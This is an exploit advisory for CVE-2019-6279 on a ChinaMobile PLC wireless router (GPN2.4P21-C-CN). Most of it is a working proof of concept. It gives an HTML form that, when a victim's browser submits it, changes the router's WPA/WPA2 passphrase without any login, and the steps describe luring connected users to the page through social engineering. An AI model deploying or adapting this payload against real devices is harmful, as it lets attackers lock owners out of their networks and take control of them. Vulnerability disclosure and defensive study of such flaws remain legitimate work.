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PLC Wireless Router GPN2.4P21-C-CN - Incorrect Access Control

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# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Incorrect Access
Control
# Date: 14/01/2019
# Exploit Author: Kumar Saurav
# Reference: https://0dayfindings.home.blog/2019/01/15/plc-wireless-router-gpn2-4p21-c-cn-incorrect-access-control/
# Vendor: ChinaMobile
# Category: Hardware
# Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)
# Tested on: Windows
# CVE : CVE-2019-6279

#Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with
firmware
W2001EN-00 have an Incorrect Access Control vulnerability via the
cgi-bin/webproc?getpage=html/index.html
subpage=wlsecurity URI, allowing an Attacker to change the Wireless
Security Password.

Reproduction Steps:
Step 1: Building a malicious html web page
Step 2: Attacker’s wants to change the wireless security (WPA/WPA2) key to
“PSWDmatlo331#@!” (in my case)

Step 3: (192.168.59.254 in my Case)
<html>
<body>
<form method=”POST” action=”http://192.168.59.254:80/cgi-bin/webproc “>
<input type=”text” name=”sessionid” value=”2a39a09e”>
<input type=”text” name=”language” value=”en_us”>
<input type=”text” name=”sys_UserName” value=”admin”>
<input type=”text” name=”var:menu” value=”setup”>
<input type=”text” name=”var:page” value=”wireless”>
<input type=”text” name=”var:subpage” value=”wlsecurity”>
<input type=”text” name=”var:errorpage” value=”wlsecurity”>
<input type=”text” name=”getpage” value=”html/index.html”>
<input type=”text” name=”errorpage” value=”html/index.html”>
<input type=”text” name=”var:arrayid” value=”0?>
<input type=”text” name=”obj-action” value=”set”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType ”
value=”11i”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes”
value=”AESEncryption”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode”
value=”PSKAuthentication”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey”
value=”100?>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase”
value=”PSWDmatlo331#@!”>
<input type=”text”
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression”
value=”KeyPassphrase”>
<input type=”submit” value=”Send”>
</form>
</body>
</html>

Step 4: save this as Incorrect_Access_Control.html
Step 5: Planting this malicious web page (Incorrect_Access_Control.html)
that are likely to be visited by the victim’s (by social engineering) or
any user connected in the Access Point (AP) will have to visit this page or
any attacker’s connected in the AP will trigger this exploit.
Step 6: After execution of above exploit, wireless security (WPA/WPA2) key
will change!!

Note: This vulnerability allowing an attacker to reproduce without login.
            
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